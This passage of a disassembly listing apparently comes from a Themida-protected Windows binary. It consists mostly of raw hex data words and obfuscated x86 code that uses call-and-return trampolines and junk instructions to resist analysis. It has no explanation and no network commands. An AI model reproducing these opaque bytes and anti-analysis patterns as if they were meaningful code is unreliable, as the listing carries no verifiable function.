0E9063014h, 0FFF86D9Dh, 30153C68h dd 6D93E906h, 0F168FFF8h, 0E9063017h, 0FFF86D89h, 3018E168h dd 6D7FE906h, 5268FFF8h, 0E906301Ch, 0FFF86D75h, 301CDD68h dd 6D6BE906h, 1C68FFF8h, 0E906301Dh, 0FFF86D61h, 301E5D68h dd 6D57E906h, 668FFF8h, 0E906301Fh, 0FFF86D4Dh, 301F8B68h dd 6D43E906h, 0FA68FFF8h, 0E9063020h, 0FFF86D39h, 30222868h dd 6D2FE906h, 6233FFF8h, 1DEBEF6Ch, 0D29EA21Fh, 7D4F53D0h dd 39060A87h, 0EFBBBE3Bh, 0D653511Eh, 8C0903D2h, 3EBBBD88h dd 0F3706A3Ah, 1D73DCDh, 33794381h, 80A6EB60h, 4D23B7B1h dd 0F117837Dh, 0C9922624h, 0DF4B4515h, 5222ECB9h, 0E54B3358h dd 51E5E7B3h, 709D488h, 0C98216E2h, 0DEAD7343h, 0FD017EE4h dd 0B1B53230h, 0D4C2E7E1h, 0C1E6DCAEh, 9F6F45D9h, 0DF1107D9h dd 33B01610h, 0E74D7043h, 7F739331h, 0AF1B8143h, 5E5C294Fh dd 92A9B4CAh, 9CB755Bh, 922CF0E4h, 4197795Bh, 0BF53491Bh dd 0E64606BFh, 5B925880h, 1AC22879h, 1E795B92h, 0B0E2A45Ch dd 0DBC3E8DEh, 2BFF7A47h, 2AB7C159h, 0E4000000h, 980421F4h dd 5BBEAB32h, 0E60BCD75h, 5B862EF2h, 9A539979h, 59445C1Dh dd 451036C1h, 49AFA577h, 0BCA83C24h, 0D0h, 0B180A6E9h dd 16AA92B7h, 51767040h, 3606D09Dh, 0FDB1D63Ch, 5A0E332Dh dd 0FE24908Ah, 80A1352Fh, 738EA73Ch, 7973437Fh, 6228F8FCh dd 0C3759A90h, 1BA07974h, 0B1177D87h, 0FC19EC8Ch, 7C872A90h dd 2145755Bh, 4C658D2Bh, 9DE7FC93h, 9844BE9Fh, 0B4429E32h dd 986ECE2h, 0B11D4619h, 7508374Bh, 1F8B4D73h, 0B12E2CF9h dd 74E2E0ADh, 0B400CC28h, 2832E9C4h, 0D600000Fh, 8E920F05h dd 4145C2C0h, 0F2F67375h, 0A9AD2A20h, 5E61DEDCh, 0F6F4C130h dd 0ACA67579h, 5E602B2Fh, 130DDDE1h, 7AE07096h, 794387A2h dd 0A68E03D6h, 9338E046h, 7A3C7F73h, 7B4310E6h, 2E6C53D8h dd 0E04CB2BAh, 29C21A80h, 30FC7F73h, 6921092Eh, 0EEF213A7h dd 3EA7241Eh, 98FE21F4h, 7F739340h, 350032F4h, 0C0260E33h dd 62602E54h, 0B1C1553Dh, 5BBECC4Bh, 0FF24E675h, 5B86C90Bh dd 0B36CB279h, 0EF2D93F3h, 89795B86h, 0FD334BFDh, 0DD4331BFh dd 81FD7C49h, 6F95C159h, 9A82A79Dh, 0F01A06h, 0A6470000h dd 20B4B280h, 14807A4Ah, 0FD2220EEh, 0CAB88115h, 420FD5A4h dd 0D1371F44h, 93D9FF65h, 995B7F73h, 64622F05h, 8EB64B3Fh dd 0F2187F73h, 0BA902426h, 565824EAh, 9F6F73F0h, 431339A5h dd 4CECB549h, 0C4C29079h, 9FC4C692h, 7FE551B7h, 755B952Ch dd 0ACA2749Ah, 0AF0B9F87h, 0AD8070EDh, 0AFB61C88h, 0C9737539h dd 0D53B9B07h, 73213907h, 0DAD4A331h, 3567CDB5h, 5E466B65h dd 0C794BACAh, 7B484CC9h, 0AA4F0F7Dh, 7A55B400h, 0DF6C3h dd 0DDD3A400h, 908E5C60h, 41430F13h, 0F8EEC0C4h, 0ACAA777Bh dd 8F7E2C2Fh, 4347C4C2h, 0F9FD7A74h, 0ABAF2C2Eh, 3E64E1DBh dd 869048AEh, 0D1A47943h, 1513E05Ch, 94FA5A98h, 7F739344h dd 9306D63Ch, 70327F73h, 8C62F6B8h, 745C2BCh, 0F4190FE1h dd 0AA481842h, 0E44ADB52h, 2CA1278h, 0AC6E7F73h, 10E0DD18h dd 6D3DF116h, 6EB2F673h, 987F7393h, 4D51CEC8h, 705E837Dh dd 587D7F4Ah, 3606DC70h, 3FA5A370h, 81A5531Ah, 0A68A06F6h dd 0F2F28689h, 0E9E3B339h, 2808716Ch, 0E3AEBB32h, 0DB000000h dd 102D82A6h, 0C431665h, 0E90E0CDAh, 0D8AB6D01h, 0B9373BF1h dd 73B88553h, 0BDEDAF7Fh, 76D3C0Fh, 7F73A2D1h, 0D53BA163h dd 0C6E50969h, 94A3523Dh, 62CDCA4Fh, 0E046E9C6h, 10EB364Ch dd 0CB8D755Bh, 506EB2A6h, 0C698795Bh, 163B3504h, 0EFA3C82Eh dd 24FE2321h, 0C839F3ACh, 2D4CC982h, 89C159EEh, 7Eh, 0E046A6B6h dd 7F739338h, 0D0E67A3Ch, 7F73930Dh, 61CDF6C9h, 0F711C13Dh dd 9478B2h, 9E6A90F0h, 4FF2089Ch, 0B1755B51h, 0A16E72EFh dd 0BDE7EA3h, 15187EEAh, 477372A2h, 2BF51985h, 6E943D22h dd 35395AEEh, 0D8FC686Ah, 0DFAFC87Fh, 7A43D708h, 72DE07DAh dd 0AF4590Ch, 0CD39FB79h, 13D1076Dh, 0D5636D0Ah, 0FDE50A08h dd 0DBE20397h, 94Fh, 9147AD0Dh, 296D0A13h, 0E4A65E5Ch dd 21F41550h, 528ED3Ah, 410D0979h, 76DD93Fh, 7F7312D1h dd 0CF3BA163h, 941200ABh, 99D5FA3h, 0AAF093F9h, 14A2755Bh dd 3A224749h, 19BBAFD4h, 62795BBAh, 9646AC0Ch, 0A2795BBAh dd 934C4CE0h, 59546316h, 2F53C1h, 85AB0000h, 0AA92B7B9h dd 7CA0DB16h, 867F7393h, 0AE96BBB9h, 0FBC01348h, 0E545FFFFh dd 7393597Fh, 804DDB7Fh, 0F755D82h, 76B8C6DFh, 5AEECF16h dd 0B380A61Fh, 0F61B1DE9h, 0A878A80Eh, 53BCD67Ah, 0FE2A438h dd 82547AE6h, 0EB7F678Ch, 8A3E75DBh, 9658755Bh, 0DD5B7D71h dd 9863795Bh, 0F0BD7196h, 5E1BCDF2h, 99E1169Bh, 0CC851963h dd 0A25BA112h, 5A165425h, 50562C1h, 0A68F0000h, 92B7B180h dd 354516AAh, 0FB678C5Fh, 9D0907D5h, 7393E137h, 3DD1937Fh dd 0DCA7CD2Dh, 93046DAh, 6B755B86h, 4A173DA9h, 6288B84Ch dd 1090AF81h, 1D89AA7Dh, 0B68168B7h, 90F656DAh, 0C966C148h dd 3A962AECh, 0BFE4DAACh, 0C1AD6BD1h, 5C7C966h, 7414399Fh dd 0B21884A1h, 0C34B36D6h, 668CF8BAh, 1B1F9C96h, 0ADE3514Bh dd 1F0412C1h, 0B418D44h, 1EEF0000h, 0D9A7AB28h, 8E5A5EDBh dd 390B0F8Ch, 0F5C2C643h, 2B777AF7h, 920F0DDAh, 48C5BF8Eh dd 0FA777944h, 0AF2C26F6h, 4593F989h, 0EF794384h, 10E0A71Ch dd 0E1AF354Ch, 60C61844h, 0A5C89B3Bh, 73C1993Fh, 73D99B7Fh dd 0E34EA107h, 1C7C755Bh, 5BE766B6h, 0BC501279h, 0C329E60h dd 0BEC23F41h, 0D8CCF1F3h, 795BE700h, 5BF7A67Ah, 7EA17479h dd 5B17C018h, 82B27479h, 5A8E43F4h, 874DA92h, 73708FA2h dd 0A2FF173h, 2290C216h, 2C2CFC73h, 229016C6h, 0FA602273h dd 594F21D5h, 33EC5034h, 9C20879h, 8231ED8Ch, 1DC9C7h dd 0F4F60000h, 70663821h, 0CFC5974Bh, 0F65CC2AAh, 0BB7D248Ah dd 35F7755Bh, 0E5910h, 0F4600000h, 32980421h, 755BA7D3h dd 0B5CEF3B5h, 0AA1010E0h, 7F739372h, 47124406h, 0D971DF45h dd 0A3B85201h, 0A5111C8h, 2EFF0000h, 0E9B7BB38h, 9E6A6EEBh dd 491B1F9Ch, 5D2D653h, 0DB878A07h, 0A21F1DEAh, 58D5CF9Eh dd 0A878954h, 0BF3C3606h, 75A30999h, 0FF79438Bh, 46A6B72Ch dd 739338E0h, 0E67A3C7Fh, 0C82E5124h, 7F739310h, 90FC6224h dd 0B26AD030h, 0C67F7393h, 934098FEh, 32F47F73h, 0BF2238CCh dd 0C1755B5Fh, 8CECDAFFh, 5BA7F626h, 29F48279h, 0B41A0227h dd 807A4A20h, 6D9CBF03h, 63389216h, 0DCAED23Eh, 97740EA9h dd 0F1F3BEF0h, 2F50E4CCh, 0CD09CDF1h, 0E8EF6E1Fh, 0C9EEE4B6h dd 0B88B4DE1h, 20E210D1h, 3AA0EDA8h, 228968CEh, 29EB5828h dd 84825004h, 97B3F418h, 846E4EC3h, 2254BAB4h, 4B335852h dd 0D3A696B7h, 0CDE046B2h, 2F46C0ACh, 8054486Dh, 0FB46B0ACh dd 0FA7FFCB5h, 0BCF4F469h, 117h, 421F4E9h, 5FAF3298h, 0FD1755Bh dd 0A06636EAh, 0B167CDD5h, 0C3795BA7h, 0B8359B01h, 0C5EAE4B4h dd 166D8ED1h, 0DF981092h, 128F8959h, 0D83E3E0Eh, 5200FD00h dd 0E70C7234h, 4D37A0F3h, 908658B9h, 0EAECB76Bh, 0BA73EBC5h dd 666834h, 0A96922B6h, 91B6B883h, 1D73DA9h, 332BCD3Bh dd 3707DD71h, 0ECBCC03Dh, 766286F2h, 0D39E8C82h, 8525EE82h dd 0F6F4C1AEh, 1783E9D1h, 48B51B7h, 0EBAD2BCDh, 0DBE14757h dd 1D2BCD04h, 1BEEDE5Bh, 39288EFAh, 3B21E521h, 47AD0D79h dd 25952691h, 844DE1A3h, 890600D0h, 96BBB585h, 0BAB082A8h dd 319AD95h, 2595262Dh, 0A86821B5h, 16E8B682h, 0AD13FB20h dd 79734319h, 9147AD0Dh, 0A3259525h, 0E82C4DE1h, 0B1E1EC52h dd 0FAFCC8EEh, 0B2CFA466h, 67613135h, 0B05D5FBh, 0A16AFEE6h dd 0C23FADh, 8841B93Ah, 0BB383202h, 0C8EDE7B7h, 0C4305528h dd 0D935C75Eh, 0F35F2120h, 96FC00CDh, 24D95B46h, 36CA30F2h dd 610E15h, 0F4150000h, 74980421h, 0A4EBE53Bh, 79487A6Bh dd 0DE725A7Fh, 0A23968CEh, 2787755Bh, 5BA11BC1h, 0D5036979h dd 5F795BA1h, 8F23E59Dh, 0DF057133h, 0BA83170Dh, 0DBD9A6CCh dd 9FA37147h, 5BA1E339h, 6DD39579h, 3218EEF0h, 0E71FF216h dd 5F848651h, 5AD94777h, 906729BDh, 73A10773h, 0F5795BB4h dd 0E037CC33h, 72AA1010h, 67F7393h, 2361DE44h, 315B9FC3h dd 0E4BB0671h, 732CAA72h, 780CCE7Fh, 56C2E3B6h, 5B0641F0h dd 75E1A375h, 0BDBD7D4Fh, 833F4B7Dh, 6014399Fh, 9E32988Eh dd 9B9D688Eh, 834F1A1Eh, 98E28F6h, 0E0056B21h, 0AC7C6D40h dd 0BAE04CB2h, 4B5BEFEDh, 73ED02E5h, 8DB27473h, 23FE4799h dd 0D9C09373h, 71013AEFh, 5F7DE320h, 0D97323FFh, 0DF4BB117h dd 0BCC5679h, 6D3AC879h, 418887A5h, 177D471Dh, 70723EF2h dd 97FD634Bh, 0AD5A7E72h, 95646D0Bh, 0F5C2769Bh, 80F8D2F7h dd 569C0DC7h, 6D59209Dh, 0D939CDA9h, 0BD9A573h, 790DCF6Dh dd 328Dh, 21F4BA00h, 0E1749804h, 0FBDC95F7h, 4CB2C256h dd 755B3205h, 0B076456Bh, 0D7BFE4E2h, 0F581DD71h, 0B2579021h dd 89AE1444h, 0AAA8759Bh, 1C3D16h, 0F4440000h, 32980421h dd 755BA7D3h, 6387F3B5h, 89566FACh, 4E7E668Bh, 9A2E0EB6h dd 80A6B8D1h, 481EB2B4h, 0E8E2B278h, 775DBC3h, 0B85201A5h dd 0E09D542Fh, 8E000006h, 464AC7BDh, 0F9FD7A78h, 0AAAE2B2Dh dd 6165E2D8h, 16199694h, 0AEAC7948h, 645E2D31h, 1618E3E7h dd 0CBC59599h, 3298284Eh, 79438FEAh, 0E546BB8Eh, 1A3B0E86h dd 867148AEh, 0C183755Bh, 0F4090F35h, 0F2C53F12h, 0E8FF65D1h dd 0D6BD354Dh, 51E5E3B0h, 6E0E33F5h, 0AE0E7A9Bh, 0D596BD8Ah dd 0F5892629h, 0CC0266DFh, 0BFF884BBh, 4CCB6FD4h, 3359C52Bh dd 0DFFD6363h, 59ABCC8Dh, 0B0B43197h, 0DE78E6E0h, 966CED1Eh dd 65504BBh, 32030000h, 0EDBBBF3Ch, 0A26E72EFh, 4D1F23A0h dd 9D6DA57h, 0DF8B8E0Bh, 0A62321EEh, 5CD9D3A2h, 0E8B8D58h dd 0C3403A0Ah, 71A70D9Dh, 379438Fh, 10E0BB30h, 130A816h dd 0E1BCB852h, 6162Ah, 0FDF3C400h, 0B0AE7C80h, 61632F33h dd 180EE0E4h, 0CCCA979Bh, 0AF1E4C4Fh, 6367E4E2h, 191D9A94h dd 0CBCF4C4Eh, 5E8401FBh, 8EB068CEh, 0F1C47943h, 1610E07Ch dd 0B64B86AAh, 863BF4FFh, 0AB93B8BAh, 48E8B145h, 84E45075h dd 73D4FE1Eh, 88B87A7Fh, 0C6554749h, 98A83C03h, 0B5021438h dd 25614BB4h, 0B0B17B91h, 9FFF7523h, 43D0E339h, 3FD39579h dd 66A421E3h, 0D1CE4142h, 0AA3E12BCh, 84F015E8h, 6BCF0F1Eh dd 3BA76973h, 0B4484A15h, 1725F7EBh, 489E732Bh, 45279124h dd 2FC399DFh, 92B6762Fh, 431B3087h, 0DAA73B17h, 0C789889Fh dd 3FDCDF3h, 7662F6DEh, 0C0h, 0BF83E5A3h, 0ACD1C799h, 9B6E30C4h dd 4EAE0E7Ah, 739330E8h, 1682447Fh, 739368B0h, 0B64A0C7Fh dd 5B8699A0h, 0AD19DB75h, 0E87FB889h, 1DB19837h, 73EFC7EDh dd 0D4A74A52h, 4F1D43AFh, 0B0442C51h, 0BBEB3AA0h, 0CB8DA06Bh dd 0C792B8A6h, 9C6F31C5h, 0CBA50B77h, 0ADAE067Ch, 0BF1F7FEBh dd 0F0148359h, 81F3B59Eh, 9EF0145Bh, 77871BDDh, 1B818151h dd 9EF014FDh, 772F31FDh, 0CED24FB5h, 0C9604FEh, 0A059D186h dd 4D50EC5h, 0B2830000h, 6D3B3FBCh, 22EEF26Fh, 0CD9FA320h dd 89565AD7h, 5F0B0E8Bh, 26A3A16Eh, 0DC595322h, 8E0B0DD8h dd 43C0BA8Ah, 0F1278D1Dh, 8379438Dh, 0A4DD3BB0h, 0E4000000h dd 980421F4h, 23811632h, 4CB87A75h, 7071C8ECh, 0FB76979Dh dd 0C7C19167h, 0F38A375Bh, 9F51A722h, 4380E339h, 6DD39579h dd 567AB8D9h, 6B8E055Ch, 5F35C9C4h, 0D070958Fh, 0C6CD8FDh dd 0F71C16E6h, 62657B0Fh, 94736B34h, 0A00666D2h, 732B5478h dd 0DDA63AFCh, 0DD436A3Dh, 732B543Fh, 0A5117739h, 3607C3Fh dd 4EBC7E79h, 0AAD2F2C2h, 2CBC734Eh, 0DA000004h, 92961309h dd 4549C6C4h, 0F6FA7779h, 0ADB12E24h, 6265E2E0h, 0FAF8C534h dd 0B0AA797Dh, 62642F33h, 1711E1E5h, 7EE4749Ah, 79438C5Eh dd 0A09207DAh, 7F739378h, 73939E42h, 4C693C7Fh, 814E7AE0h dd 0D8FE7523h, 33E70C0Ah, 5C446963h, 7A0662F6h, 1709CF79h dd 7F75478Dh, 0DC0C725Ah, 8E8D0179h, 127EE492h, 9B8C4CB2h dd 1CA87943h, 0CF7A2A4Ch, 33C72D38h, 0ECE6B66Ah, 624B887Eh dd 0E29974BEh, 3A7h, 118E8455h, 0C4413F0Dh, 75F2F4C0h dd 2CA99F71h, 0E05D5B28h, 7340B1DDh, 25F4F875h, 0DFAAAE2Bh dd 8C5C60DDh, 5FEF1592h, 438C23F9h, 0D825579h, 0F11610E0h dd 0E9557E51h, 5BAE6083h, 0E4501275h, 0D0F5EFBEh, 0EF3354E8h dd 0B462DEA9h, 9868451h, 9C6E3805h, 2D1B40A6h, 14393B07h dd 1D6982Ch, 6EA078DEh, 0BA202C4Dh, 2C4D6E62h, 0DA9C5416h dd 0E08EF774h, 3DF11610h, 6F6736Dh, 40A61233h, 755B9255h dd 0C9299557h, 5B91B563h, 69FDBF79h, 0E98EB2A0h, 0F8D5810Ah dd 498BA135h, 71795BEFh, 0F09D9A3h, 779C02EAh, 0D4F9F3C3h dd 0FCB66F0Dh, 0CC8C458Bh, 0B7DCD6A6h, 0D53B3103h, 7CFC4CA5h dd 21B5C75Bh, 5A002554h, 3F91C1h, 0F4BE0000h, 32980421h dd 755BBEABh, 6226F519h, 0BF543D52h, 0D52FED53h, 8749795Bh dd 0B0D597F3h, 5BD518BCh, 641D6379h, 597592E7h, 0CE24C1h dd 587C0000h, 8621210Dh, 6A6C38CCh, 63F75D45h, 1610E028h dd 72703DF1h, 0CFC9994Dh, 0CB96BCAAh, 28BCA4C9h, 0B888252h dd 738E2AC7h, 4FECE7Fh, 0B9B38387h, 3A21F494h, 1F4302AFh dd 0AD197F4Ah, 5BE42047h, 0AD789E75h, 0CB2C7BABh, 0B9933F58h dd 8A07C925h, 329EC79Ah, 752A4DCCh, 39A56773h, 0CB484613h dd 8EFCFAC7h, 0B400AD76h, 38E89F7Ah, 0E6000002h, 9EA21F15h dd 5155D2D0h, 2068385h, 0B9BD3A30h, 6E71EEECh, 604D120h dd 0BCB68589h, 6E703B3Fh, 231DEDF1h, 8AF080A6h, 7943B352h dd 0E09E13E6h, 83A91513h, 1E1CE9B7h, 14DF93B8h, 5D7CAC12h dd 85A4E953h, 93D1F286h, 453B0D33h, 739405D3h, 0EDE3B57Fh dd 9DF7335h, 59C23F39h, 980421F4h, 14A8A272h, 0AC7EA404h dd 15A991B6h, 5BBE98FFh, 0B3D89A75h, 5B861DBFh, 0DAD8A579h dd 343601B5h, 4BD350Fh, 0DA93D94Ah, 59441C5Dh, 0DB9AC1h dd 0E0C70000h, 807A4A10h, 7541735Bh, 7BA10D73h, 5019ADAFh dd 736D3C62h, 0FCD2664Eh, 180C312Fh, 7F738EFBh, 0E94F4F1Fh dd 7F739633h, 7F518345h, 167C6489h, 0BAB484AAh, 31010526h dd 9F721237h, 84AA0A76h, 8F4DB3B7h, 0A97F7396h, 6E5C81E7h dd 7396D008h, 3CA2647Fh, 0A0FB92A8h, 0DB9D755Bh, 74FD4B6Fh dd 9F85A717h, 7FA49E6Dh, 0F2E20397h, 925C2A1Fh, 0F95FC5C7h dd 0EE53278Dh, 5F217375h, 200CDF3h, 68234785h, 0ADCF1CC9h dd 7A471DB1h, 0E7EC0E7Ch, 15F0B401h, 10A5Eh, 0F1E7B800h dd 0A4A27074h dd 55572327h, 0C02D4D8h, 0C0BE8B8Fh, 0A3124043h, 575BD8D6h dd 0D118E88h, 0BFC34042h, 5278F5EFh, 0B1BC5CC2h, 0E5B87943h dd 1513E070h, 0CAC49498h, 1DE90F4Dh, 7A0EF61Bh, 1610E03Fh dd 0B6B884AAh, 9F3DA391h, 997F7393h, 14DD71D7h, 7DCC9060h dd 0B81DA9B2h, 6DAB117Dh, 77F7328h, 7262DF45h, 0A40A769Fh dd 75233A84h, 4A48163Ch, 2C985AB6h, 5EB666CCh, 0C27943h dd 55B5A36Ch, 435E29EFh, 0F5894B79h, 0E9554F1Fh, 0CACE3EC5h dd 91C319E9h, 0BBA3C8C2h, 32020627h, 2E1F1338h, 0ACCB23E7h dd 25F57B34h, 1070AE2Bh, 0AF211BEAh, 2BE3E269h, 4B17490Bh dd 0FDFB549h, 0DC02F015h, 74764210h, 6D01674Fh, 63CFC597h dd 0DB6F713Dh, 91935E12h, 0EDEBB86Ch, 0AA6301C8h, 5912A6F0h dd 9D0903D3h, 15A9AB77h, 2620F0F4h, 154A01h, 0A6510000h dd 0CE6FB482h, 15A9FD4Bh, 15A0C4E6h, 469EA955h, 0E02D68FCh dd 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h dd 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 4EC81h dd 2C890000h, 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 81E18951h dd 4C1h, 4E98300h, 5C240C87h ; --------------------------------------------------------------------------- mov [esp], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 5C49h mov [esp], esi mov esi, 63012ADh mov ebx, esi pop esi push esp mov ecx, [esp] add esp, 4 push eax push ebx add dword ptr [esp], 7B601894h pop eax sub eax, 7B601894h mov [ecx+8], eax pop eax push dword ptr [esp] pop ecx add esp, 4 mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_551321 ; --------------------------------------------------------------------------- db 98h dd 0AEF0A7AEh, 0B8811B8Fh, 6302357h, 0E0FFC503h, 518921CAh dd 3C8FCD9Ah, 5B5D9E59h, 6D498A2Eh, 391EA4A7h, 2D2EBE70h dd 71B9F57Ch, 7D9DE7CAh, 40EC5F08h, 288D6031h, 18E1517Dh dd 9A4C959h, 43E92B8Fh, 4E0B9A1Ch, 519515Ch, 78BCAE63h dd 31ABCA48h, 25148D8Dh, 6A0630h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 1EB8FDC3h, 0BA275FAFh dd 6830Fh, 0BD290000h, 6281889h, 7158D89h, 66600628h, 0BD8BF08Bh dd 62802D5h, 0BD896061h, 6281439h, 0C761B1B7h, 2821BD85h dd 6ECC06h, 8501F900h, 62832F1h, 113D85C7h, 628h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 29C14C3h, 0B5FFF8E6h, 62801BDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0D1C35545h, 99704A52h, 0E940855Dh dd 0Fh, 1B2CBE45h, 11729D8Ch, 54E1DD72h, 0FF40F795h, 2814D995h dd 6AF806h, 46595FFh, 0C08B0628h, 431A38EBh, 23B7ED62h dd 0D6ADC39Ch, 2036AD23h, 0E2439A54h, 1804F53Ch, 8F57AC81h dd 586A39CAh, 8410BC4Eh, 0EE3F3407h, 8E36A33Bh, 8CC12069h dd 15B111A3h, 9B94871h, 8D8DEB8Ch, 6302603h, 89C0BF0Fh dd 2807158Dh, 30D48006h, 21BD85C7h, 5CD40628h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 8CFE8CC3h, 9529FFF6h, 6283419h, 113D85C7h, 628h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 3FB310C3h, 79B5FFD7h, 8906282Eh, 2815059Dh, 0D995FF06h dd 6A062814h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 607C357h, 0DA4A5C35h, 19D8970h dd 89062804h, 28293D85h, 0FF006A06h, 28046595h, 0EBC08B06h dd 2ABF324Ah, 340EB937h, 2CD5C8D4h, 0B62B3C78h, 16A50C35h dd 65967F3Dh, 0A6F1E93Fh, 3F41C449h, 5006B855h, 89FBDE49h dd 0E47CCAB8h, 95E868DEh, 6E8A3h, 0A03D31C8h, 3C007A67h dd 0EB1B2913h, 272DCC52h, 358E4A18h, 0E8699954h, 12h, 0DFD97B44h dd 5DB1E9FFh, 0A43AD8EDh, 3207A235h, 6660911Ch, 95DE281h dd 0EA815861h, 4D586910h, 73EAC081h, 2BF80000h, 8BCB8BDBh dd 10E81834h, 3E000000h, 0B09BFACBh, 3DBCD1EBh, 0CB6DF99Dh dd 0FEC12C3h, 688h, 3D958900h, 5A06282Eh, 9FC3F681h, 0BF0F6817h dd 0C0F681D6h, 8907A262h, 281F5185h, 99EE8106h, 560E62E0h dd 48FF58Ah, 9501F818h, 6281661h, 8901EB83h, 28111D85h dd 4B4B4B06h, 4A9A33B9h, 0E0FB8114h, 0FFFFF8Ch, 1085h dd 8CE18000h, 31E9h, 0A9B700h, 6DC1E355h, 0FE963h, 85CC0000h dd 696AE19h, 0E5131816h, 2C74959Bh, 0FF6DE989h, 6CA9FFFFh dd 0FCC0C0D4h, 66CC3D65h, 0A71A9957h, 10EB483Ch, 4 dup(0) db 8Bh, 0C0h ; --------------------------------------------------------------------------- push 0 push ecx call sub_5CBA89 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBA89 proc near ; CODE XREF: Themida_:005CBA81p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5CBA89 endp ; --------------------------------------------------------------------------- mov ch, [ecx] mov ch, 0B1h sub eax, 0B58B0628h imul ebp, ds:0BD830628h, 6280149h add [ebp+9], dh cmp dword ptr [ebp+62814C5h], 0 jz short loc_5CBAD1 push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+6280291h], eax lea ebx, [ebp+62AA55Eh] call ebx pop ebx pop eax loc_5CBAD1: ; CODE XREF: Themida_:005CBAB6j cmp dword ptr [ebp+62814C5h], 0 jz short loc_5CBAF1 push eax push ebx mov eax, 42Dh mov [ebp+6280291h], eax lea ebx, [ebp+62AA24Dh] call ebx pop ebx pop eax loc_5CBAF1: ; CODE XREF: Themida_:005CBAD8j push 0 push edi call sub_5CBAFC and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBAFC proc near ; CODE XREF: Themida_:005CBAF4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5CBAFC endp ; --------------------------------------------------------------------------- xor edx, [ecx+789D6293h] daa pusha sub dx, 0C068h jns loc_5CBB25 mov [ebp+62825C1h], edi loc_5CBB25: ; CODE XREF: Themida_:005CBB19j popa mov eax, eax movsx edx, dx mov ecx, [ebp+6281031h] push 0 push edi call sub_5CBB3C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBB3C proc near ; CODE XREF: Themida_:005CBB34p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5CBB3C endp ; --------------------------------------------------------------------------- dd 79822B58h, 0EE95760h, 13000000h, 75185884h, 0A1C89027h dd 0F4209670h, 8B665998h, 0F98361FEh, 8A840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 817DC351h, 28EBD95Fh, 64BF174h, 1855B58Bh dd 8D310628h, 6280781h, 2C3D8B64h, 89000000h, 280B7D95h dd 0FFF0B06h, 4484h, 8CBA6600h, 0B1958B4Ah, 8B062802h dd 0D585893Fh, 32062801h, 0DDB589C0h, 0F3062824h, 51006AAAh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 4BCE605Fh, 0C8600925h, 38BE6611h, 414935DFh, 85C65350h dd 6280D25h, 68F18B47h, 0F1EF8904h, 13E8h, 0C39AD400h dd 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h, 684FF425h, 2434815Ah dd 2D390128h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 30C35040h, 0B5FF0A7Ch, 628140Dh, 6F58858Dh, 6A062Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 3DBB51C3h, 0D0FFF172h, 0BA1EDA81h, 0D08B6948h, 7758589h dd 0B58B0628h, 628198Dh, 14E9h, 96A28A00h, 5ECA8262h, 0D1D1E6E0h dd 73A998AAh, 2952F609h, 2585C644h, 5306280Dh, 36DB58Bh dd 9B680628h, 6009164Eh, 12E8h, 5DFB8200h, 250FEFBFh, 0E7B35885h dd 0FC3E0204h, 581070CBh, 12E8h, 70F74500h, 462994ACh dd 345BED1Eh, 2E184B23h, 5911AFF0h, 24048161h, 7F821C61h dd 7E9h, 0DF09C00h, 0D4C028F7h, 140DB5FFh, 858D0628h, 62B6F58h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 1CC35747h dd 0E3A968D5h, 0F38BD0FFh, 339B858Dh, 6A062Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 2A595EC3h, 0E59ACE81h, 0EE9BCh, 42030000h, 0FC79DD7Ah dd 223DEBECh, 50BE2170h, 6870Fh, 958B0000h, 6280C89h, 2D358589h dd 206A0628h, 95FFFF6Ah, 6282D35h, 50414935h, 6185C753h dd 1062809h, 0C7000000h, 2801E185h, 6, 8DB58B00h, 8B062819h dd 281FF9B5h, 0F0B70F06h, 18E1858Bh, 0BA660628h, 0A3647806h dd 0 ; --------------------------------------------------------------------------- sub [ebp+62822F9h], eax cmp dword ptr [ebp+6283311h], 0 jz loc_5CBDF5 mov esi, eax mov eax, [ebp+6281D4Dh] mov edx, ebx or esi, 749F93D0h mov esp, eax jmp loc_5CBDF5 ; --------------------------------------------------------------------------- dw 0AE64h db 0FBh ; --------------------------------------------------------------------------- loc_5CBDED: ; CODE XREF: Themida_:005CBDF2j cmp [ecx+3], ebx shl dl, cl jnz short loc_5CBDED ; --------------------------------------------------------------------------- db 0D5h ; --------------------------------------------------------------------------- loc_5CBDF5: ; CODE XREF: Themida_:005CBDCDj ; Themida_:005CBDE5j cmp dword ptr [ebp+628267Dh], 0 jnz loc_5CC28D call near ptr loc_5CBE13+1 mov bl, 0B7h cdq mov edx, 0E215F8D9h into jnz short near ptr loc_5CBE8D+2 cmc loc_5CBE13: ; CODE XREF: Themida_:005CBE02p mov ebx, 14E9h add 